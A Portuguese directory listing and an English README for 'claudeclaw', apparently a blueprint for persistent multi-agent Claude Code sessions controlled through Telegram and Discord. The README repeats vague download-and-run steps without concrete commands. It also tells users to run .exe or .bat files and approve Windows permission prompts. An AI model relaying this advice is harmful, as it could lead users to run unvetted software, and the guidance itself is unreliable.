claudeclaw - Agentes Multi-Claude com Telegram/Discord
gargantuan-bibliothec390/claudeclaw
Agentes Claude persistentes com Telegram/Discord e memória de sessão
Ver no GitHubFramework para construir agentes Claude Code persistentes integrados a Telegram e Discord. Oferece setup guiado para Windows com suporte a múltiplos agentes, memória de sessão e agendamento de tarefas (crons). Ideal para automação de fluxos longos e comunicação via chat apps.
Instalação
npx convez-ai gargantuan-bibliothec390/claudeclaw1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Automação de fluxos longos via chat (Telegram/Discord)
- Multi-agentes coordenados para processamento de tarefas
- Assistentes que mantêm estado entre interações
- Agendamento automático de rotinas (crons)
Veredito

claudeclaw é um blueprint robusto para abstrair a complexidade de agentes persistentes multi-Claude. Excelente para quem quer sair do zero sem arquitetar do scratch, mas requer familiaridade com APIs de chat e configuração local no Windows.
README
A tradução para o português deste README ainda está na fila.
🤖 claudeclaw - Run multi-agent chats with ease
🚀 Overview
claudeclaw is a reference blueprint for setting up persistent, multi-agent Claude Code flows with Telegram and Discord. It helps you keep a long-running workflow in one place and connect it to chat apps you already use.
This project is aimed at users who want a guided setup for a local Windows machine. It gives you a path to download the project, open it, and start using it without having to design the setup from scratch.
📦 What you get
- A starter layout for multi-agent Claude Code use
- A simple path for Telegram and Discord chat connections
- A persistent setup model for longer sessions
- A reference structure you can adapt to your own use
- A Windows-friendly setup flow for end users
🖥️ System requirements
Before you start, check that your PC meets these basic needs:
- Windows 10 or Windows 11
- An internet connection
- At least 8 GB of RAM
- 2 GB of free disk space
- A modern web browser
- Permission to install or run local apps
- A Telegram account if you want Telegram chat support
- A Discord account if you want Discord chat support
📥 Download and setup
Use this link to visit the project page and download or open the files you need:
Visit the claudeclaw project page
After you open the page:
- Find the download option on the repository page.
- Save the files to a folder on your Windows PC.
- If the download comes in a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- Look for a setup file, project file, or README file with run steps.
- Follow the on-screen prompts if the project includes an installer.
- If the project opens in a terminal window, keep that window open while you use it.
If you plan to use Telegram or Discord, gather your account details before setup so you can connect them during the first run.
🧭 First-time setup
Use this order for the cleanest start:
- Download the project from the link above.
- Extract the files if needed.
- Open the folder in File Explorer.
- Read any setup file included in the project.
- Run the main app or startup script.
- Sign in to Telegram or Discord if the setup asks for it.
- Keep the app open so the agents can stay active.
If Windows asks for permission, choose the option that lets the app run. This can happen with local tools that need access to chat services or files.
💬 Telegram and Discord connection
claudeclaw is built around chat-based control. That means you can use Telegram or Discord as a front end for your agent flow.
Typical use looks like this:
- Send a message from Telegram or Discord
- The setup passes the request to your Claude Code workflow
- One or more agents handle the task
- The result comes back in the chat thread
This kind of setup works well if you want a simple way to send commands, check progress, or review results without opening a separate console each time.
🛠️ How it works
The project uses a persistent agent setup. In plain terms, that means it is built to stay active and keep its state between tasks.
Common parts of the flow include:
- A main control layer
- One or more agent workers
- A chat connector for Telegram or Discord
- A task handoff system
- Saved session data for continuity
You do not need to build these parts by hand when you use the reference blueprint. The project gives you a base structure you can run and adapt.
🔧 Basic use
Once the setup is running, you can use it for tasks like:
- Starting a new task from chat
- Sending follow-up instructions
- Keeping work in progress across sessions
- Routing work to different agents
- Checking task status from your phone or desktop chat app
If the project includes sample commands, use those first. They help you confirm that the setup is working before you add your own steps.
📁 Suggested folder layout
A clean Windows setup often looks like this:
claudeclaw/for the main project filesconfig/for settingsagents/for agent prompts or agent roleslogs/for run historysessions/for saved statescripts/for startup files
If the repository uses different names, use the names in the project. The goal is to keep the files easy to find.
🔐 Account setup
If you use the chat connectors, you may need to add account tokens or sign-in details. Keep those in a safe place.
Best practice:
- Use a private text file or password manager
- Do not share your chat tokens
- Use one account for testing first
- Confirm that Telegram or Discord permissions are correct
- Check that the bot or app can send and receive messages
🧪 Quick test
After setup, do a short test:
- Open the app or project folder.
- Start the main process.
- Send a short message from Telegram or Discord.
- Check that the reply comes back.
- Confirm that the task log updates.
- Stop and restart the app to see if it keeps its state.
If the test works, your setup is ready for normal use.
🧰 Common Windows steps
These steps help with most local Windows runs:
- Use File Explorer to find the downloaded files
- Right-click ZIP files and extract them
- Double-click installer files if the project uses one
- Open a terminal only if the setup asks for it
- Keep the project folder in a simple path like
C:\Users\YourName\Downloads\claudeclaw - Avoid moving files while the app is running
A simple file path helps reduce setup errors.
📌 When to check the README
Check the repository README if you need help with:
- The main run command
- Chat app setup
- Session storage
- Agent roles
- Config file names
- First-run steps
The README is the best place to confirm the exact launch method for the current version.
🧩 Troubleshooting
If the app does not start, try these steps:
- Make sure the files finished downloading
- Extract the ZIP again
- Confirm you opened the right folder
- Check that your chat account is signed in
- Restart the app
- Reboot Windows if the app still fails
- Try a shorter folder path
- Look for a missing config file or setup step
If a chat connection fails:
- Recheck the token or sign-in details
- Confirm the bot has permission to read and send messages
- Make sure the app can reach the internet
- Test with one service first, then add the second one
🧾 File types you may see
You may find some of these file types in the download:
.exefor a Windows app.batfor a Windows batch script.zipfor a compressed download.jsonfor settings.mdfor instructions.envfor local secrets and config
If you see a file type you do not know, open the README first. It usually explains what to do.
🔄 Keeping it running
Because claudeclaw is built for persistent use, leave the app open while you need it. If you close it, the agents may stop until you start it again.
For longer use:
- Keep the machine awake
- Plug in a laptop charger
- Avoid putting Windows to sleep
- Save your config before edits
- Restart the app after changes
📍 Where to start now
- Open the project page
- Download the files
- Extract them on Windows
- Find the run instructions
- Start the main app
- Connect Telegram or Discord
- Send a test message
🗂️ Practical use cases
You can use this setup for tasks such as:
- Personal task tracking through chat
- Multi-step agent workflows
- Long-running Claude Code sessions
- Team support through Telegram or Discord
- Reusable reference setups for local testing
It works best when you want a chat-based control layer on top of a local agent system.
🔎 Project focus
claudeclaw focuses on:
- Persistent sessions
- Multi-agent task flow
- Chat app control
- Local Windows use
- Clear setup steps
- A reusable blueprint format
🧭 Final setup order
Use this order if you want a smooth start:
- Download from the project link
- Extract the files
- Read the included instructions
- Start the app
- Connect Telegram or Discord
- Send a test command
- Keep the app running while you use it